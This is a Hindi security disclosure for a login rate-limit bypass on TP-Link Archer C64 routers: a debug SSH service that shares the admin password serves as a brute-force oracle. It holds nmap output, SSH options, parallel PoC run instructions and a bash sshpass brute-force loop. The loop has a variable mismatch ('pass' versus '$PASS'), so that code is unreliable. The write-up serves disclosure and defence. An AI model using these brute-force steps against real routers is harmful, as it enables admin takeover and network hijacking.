CVE-2026-8697: TP-Link Archer C64 पर लॉगिन दर सीमा बाईपास

CVE-2026-8697, TP-Link Archer C64 के OS (डिबग संदेश में TPOS कहा गया) में एक तर्क दोष है। यह राउटर से जुड़े किसी भी अविशेषाधिकार प्राप्त उपयोगकर्ता को अवशिष्ट SSH सेवा का उपयोग करके वेब UI दर सीमा को बायपास करने देता है। एक सरल Python स्क्रिप्ट का उपयोग करके थोड़े समय में कई पासवर्ड आज़माए जा सकते हैं और राउटर पर पूर्ण व्यवस्थापक पहुँच प्राप्त की जा सकती है।

POC: poc.py

राउटर में एक डीबग SSH सेवा है जो राउटर तक शेल एक्सेस प्रदान नहीं करती, बल्कि सही पासवर्ड दर्ज होने पर बस बाहर निकल जाती है। लेकिन यह एडमिन इंटरफ़ेस के समान पासवर्ड का उपयोग करती है और इसमें न तो दर सीमाएँ हैं और न ही लॉकआउट नीतियाँ। इस प्रकार, इसका उपयोग पासवर्ड को ब्रूट-फोर्स करने के लिए एक उच्च गति प्रमाणीकरण ओरेकल के रूप में किया जा सकता है। इस भेद्यता का उपयोग नेटवर्क पर दुर्भावनापूर्ण या समझौता किए गए IoT उपकरणों द्वारा राउटर तक पूर्ण व्यवस्थापक पहुँच प्राप्त करने के लिए किया जा सकता है। एक हमलावर इस इंटरफ़ेस के माध्यम से शेल एक्सेस प्राप्त नहीं कर सकता, लेकिन वे प्राथमिक वेब प्रबंधन इंटरफ़ेस से समझौता करने के लिए आसानी से क्रेडेंशियल्स सत्यापित कर सकते हैं।

इस भेद्यता को फर्मवेयर संस्करण 1.15.0 में पैच किया गया है, जो बस सेवा को हटा देता है। अपने राउटर का परीक्षण करने के लिए, इस कमांड का उपयोग करें (Linux/macOS):

timeout 10 nc -vz 192.168.0.1 22
echo $?

IP पते को उस पते से बदलें जिसका उपयोग आप राउटर के वेब इंटरफ़ेस से कनेक्ट करने के लिए करते हैं। यदि आउटपुट 0 है या यह succeeded! दिखाता है तो आपका राउटर असुरक्षित है। अन्यथा, यह सुरक्षित है। Windows में, PowerShell में निम्नलिखित चलाएँ:

tnc 192.168.0.1 -Port 22

यदि यह TcpTestSucceeded : True दिखाता है तो आपका राउटर असुरक्षित है। अन्यथा यदि यह अनिश्चित काल तक हैंग रहता है या इसे False दिखाता है तो यह सुरक्षित है।

बग पूरी तरह से तर्क-आधारित है और इसमें मेमोरी भ्रष्टाचार, ASLR बाईपास या रेस कंडीशन जीतने की आवश्यकता नहीं है।

खोज और पुनरुत्पादन

उस समय, मैं Nmap सीख रहा था और मज़े के लिए अपने राउटर को स्कैन करने का फैसला किया। उस समय मैं भेद्यताओं की तलाश नहीं कर रहा था, लेकिन मैंने एक खुली SSH सेवा देखी।

$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey: 
|_  1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp  open  tcpwrapped
80/tcp  open  http       TP-LINK router http config
|_http-title: Opening...
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after:  2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

उपरोक्त लॉग में OpenSSH 6.6.0 (2014 का एक पुराना संस्करण, लेकिन इसके लिए संस्करण मायने नहीं रखता) चलाने वाली एक SSH सेवा दिखाई देती है। बहुत पुराना संस्करण देखकर, मुझे संदेह हुआ कि इसका उपयोग एक हमलावर द्वारा किया जा सकता है और मैंने शेल प्राप्त करने और फर्मवेयर अपडेट करने के इरादे से इसमें SSH करने का प्रयास किया। उस बिंदु पर मैं अपने राउटर को सुरक्षित करने की कोशिश कर रहा था, भेद्यताएँ खोजने की नहीं। हालाँकि, इससे कनेक्ट करने पर एक दिलचस्प समस्या सामने आई: होस्ट कुंजी और सार्वजनिक कुंजी एल्गोरिदम मेरे OpenSSH संस्करण पर समर्थित नहीं थे। मेरे सिस्टम में -o का उपयोग भी काम नहीं करता था, इसलिए मुझे debian:bullseye-slim कंटेनर का उपयोग करना पड़ा जिसमें एक OpenSSH क्लाइंट है जो diffie-hellman-group14-sha1 और ssh-dss एल्गोरिदम का समर्थन करता है।

कंटेनर के अंदर, OpenSSH क्लाइंट स्थापित करने के बाद, मैं SSH सर्वर से कनेक्ट करने में सक्षम था।

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
    -o HostKeyAlgorithms=+ssh-dss [email protected]

मैंने इसका उपयोग किया और अंततः SSH सर्वर से कनेक्ट करने में सक्षम हुआ, जिसने मुझे संदेश TPOS 5 IPSSH Test और एक पासवर्ड प्रॉम्प्ट के साथ स्वागत किया। हालाँकि, पासवर्ड दर्ज करने के बाद, कनेक्शन तुरंत बंद हो गया। मैंने सीधे एक कमांड चलाने का भी प्रयास किया लेकिन इसने कमांड नहीं चलाया। मुझे एहसास हुआ कि कोई शेल नहीं था, इसलिए एक हमलावर मेरे राउटर तक पहुँच प्राप्त नहीं कर सकता था। तो मेरा राउटर सुरक्षित है, है ना? खैर, वास्तव में नहीं। मुझे एहसास हुआ कि भले ही आपको कोई पहुँच नहीं मिली, आपको यह जानने को मिला कि आपका पासवर्ड सही था या नहीं। और वह पासवर्ड वेब इंटरफ़ेस पासवर्ड के समान था, और ब्रूट-फोर्स हमले को रोकने के लिए बिल्कुल कोई दर सीमाएँ या कुछ भी नहीं था। तब मेरे मन में इसे CVE में बदलने का विचार आया। मैंने हमले को स्वचालित करने का प्रयास किया। पहले मैंने बैश लूप में sshpass का उपयोग करने का प्रयास किया लेकिन आप प्रति कनेक्शन कई पासवर्ड का उपयोग नहीं कर सकते थे, इसलिए मैंने एक Python स्क्रिप्ट बनाने का प्रयास किया। यह संलग्न POC है।

POC का उपयोग करने के लिए, पहले एक venv बनाएँ और pexpect स्थापित करें। ध्यान दें कि स्क्रिप्ट Pexpect के pxssh मॉड्यूल का उपयोग नहीं करती क्योंकि यह एक कनेक्शन में कई पासवर्ड आज़माने का समर्थन नहीं करता।

python3 -m venv venv
source venv/bin/activate
pip install pexpect

स्क्रिप्ट को poc.py के रूप में सहेजें और चलाएँ। आप वैकल्पिक रूप से पहले तर्क के रूप में न्यूलाइन-सेपरेटेड पासवर्ड सूची का पथ पास कर सकते हैं। यदि आप नहीं करते हैं, तो यह पासवर्ड के रूप में 1 से 100 तक की संख्याओं का उपयोग करेगा (गति परीक्षण के लिए)।

python3 poc.py list.txt

आप अलग-अलग सूचियों के साथ कई इंस्टेंस चलाकर हमले को समानांतर कर सकते हैं। यदि आप 3 से अधिक इंस्टेंस चलाते हैं, तो आपको कनेक्शन त्रुटियाँ दिखाई देने लगेंगी। स्क्रिप्ट फिर भी सुनिश्चित करती है कि सभी पासवर्ड आज़माए जाएँ।

python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &

संभावित प्रभाव

एक हमलावर नेटवर्क पर एक दुर्भावनापूर्ण या समझौता किए गए IoT डिवाइस का उपयोग करके पासवर्ड को ब्रूट-फोर्स कर सकता है और एडमिन इंटरफ़ेस तक व्यवस्थापक पहुँच प्राप्त कर सकता है। उपयोगकर्ता को इसके होने का कोई संकेत नहीं मिलता, और हमलावर बिना पकड़े लंबे समय तक ऐसा कर सकता है। एक बार जब हमलावर के पास एडमिन इंटरफ़ेस तक पहुँच हो जाती है, तो वे DNS हाइजैकिंग करने के लिए DNS सेटिंग्स बदल सकते हैं, उपयोगकर्ताओं को लॉक आउट करने के लिए वाई-फाई पासवर्ड बदल सकते हैं, अनएन्क्रिप्टेड ट्रैफ़िक को इंटरसेप्ट करने या नेटवर्क एक्सेस को ब्लॉक करने के लिए स्टैटिक रूटिंग का उपयोग कर सकते हैं (एक गैर-मौजूद IP पर रूट करके), पोर्ट फ़ॉरवर्ड कर सकते हैं, फ़ायरवॉल/ALG बंद कर सकते हैं और बहुत कुछ।

CVSS 4.0

इस भेद्यता के लिए CVSS 4.0 हमला वेक्टर है:

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H

, जो 9.3 क्रिटिकल के स्कोर में परिणत होता है। प्रत्येक मीट्रिक के लिए मेरा तर्क इस प्रकार है:

• हमला वेक्टर (AV): सन्निकट (A) हमलावर को इसका शोषण करने के लिए वाई-फाई नेटवर्क से जुड़ा होना चाहिए।
• हमला जटिलता (AC): निम्न (L) हमला सीधा है और इसके लिए किसी विशेष शर्तों की आवश्यकता नहीं है। हमले का एक मूल कार्यान्वयन इस प्रकार दिख सकता है:

while read pass;do
    sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
    if [ $? -eq 0 ]; then
        echo "Password found: $PASS"
        break
    fi
done < list.txt

(ध्यान दें कि यह POC स्क्रिप्ट से धीमा है क्योंकि यह प्रति कनेक्शन कई पासवर्ड आज़माने का प्रयास नहीं करता)

• हमला आवश्यकताएँ (AT): कोई नहीं (N) यह पूरी तरह से तर्क-आधारित बग है और इसमें रेस कंडीशन जीतने जैसी किसी शर्त की आवश्यकता नहीं है।
• आवश्यक विशेषाधिकार (PR): कोई नहीं (N) किसी विशेष विशेषाधिकार की आवश्यकता नहीं है। ध्यान दें कि वाई-फाई नेटवर्क से जुड़े होने की आवश्यकता पहले से ही AV:A में शामिल है।
• उपयोगकर्ता सहभागिता (UI): कोई नहीं (N) हमला बिना किसी उपयोगकर्ता सहभागिता के किया जा सकता है।
• असुरक्षित सिस्टम की गोपनीयता, अखंडता और उपलब्धता (VC,VI,VA): उच्च (H) हमलावर को राउटर तक पूर्ण व्यवस्थापक पहुँच मिलती है, जो राउटर की गोपनीयता और अखंडता का पूर्ण समझौता है। हमलावर कई तरीकों से राउटर को आसानी से अनुपयोगी बना सकता है और इसे ठीक करने के लिए भौतिक पहुँच की आवश्यकता होती है (जैसे एक्सेस कंट्रोल सुविधा का उपयोग करके केवल एक गैर-मौजूद MAC पते को एडमिन इंटरफ़ेस तक पहुँचने की अनुमति देना और वाई-फाई बंद करना और इंटरनेट सेटिंग्स बदलकर इंटरनेट एक्सेस तोड़ना)।
• बाद के सिस्टम की गोपनीयता और अखंडता (SC,SI): निम्न (L) हमलावर विभिन्न तरीकों (जैसे DNS बदलना, स्टैटिक रूटिंग का उपयोग करना) से ट्रैफ़िक को इंटरसेप्ट कर सकता है, इसलिए यह कोई नहीं नहीं है। हालाँकि, इस तथ्य के लिए जिम्मेदार ठहराते हुए कि अधिकांश ट्रैफ़िक एन्क्रिप्टेड है, बाद के सिस्टम पर प्रभाव सीमित है। (हालाँकि मुझे यकीन नहीं है कि इसे उच्च या निम्न होना चाहिए)
• बाद के सिस्टम की उपलब्धता (SA): उच्च (H) हमलावर राउटर से जुड़े सभी उपकरणों की इंटरनेट एक्सेस को आसानी से तोड़ सकता है।

CVSS 4.0 विश्लेषण और विसंगति

विक्रेता (TP-Link) ने इस भेद्यता को 8.7 (उच्च) के स्कोर के साथ वेक्टर: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N के साथ प्रकाशित किया।

हालाँकि, यह शोध तर्क देता है कि बाद के सिस्टम प्रभाव को "कोई नहीं" के रूप में रेट नहीं किया जाना चाहिए। क्योंकि राउटर सभी कनेक्टेड डिवाइसों के लिए प्राथमिक गेटवे के रूप में कार्य करता है:

1. बाद की उपलब्धता (SA:H): एडमिन एक्सेस हमलावर को सभी कनेक्टेड डिवाइसों के लिए इंटरनेट एक्सेस को स्थायी रूप से ब्लॉक करने की अनुमति देती है।
2. बाद की अखंडता/गोपनीयता (SI:L/SC:L): DNS हाइजैकिंग और रूटिंग हेरफेर सक्रिय ट्रैफ़िक पुनर्निर्देशन और मेटाडेटा संग्रह की अनुमति देते हैं।

इसलिए, होम नेटवर्क के जोखिम का अधिक सटीक प्रतिनिधित्व 9.3/क्रिटिकल है जैसा कि ऊपर चर्चा की गई है।

शमन

राउटर के फर्मवेयर को 1.15.0 Build 250729 या उसके बाद के संस्करण में अपडेट करने से यह ठीक हो जाएगा।

समन्वित प्रकटीकरण समयरेखा

संदर्भ

• Security Advisory
• CVE Record

यह भेद्यता Tanjim Kamal द्वारा खोजी और रिपोर्ट की गई।

• वेबसाइट: tanjim.org
• गिटहब: itzmetanjim
• ईमेल: [email protected]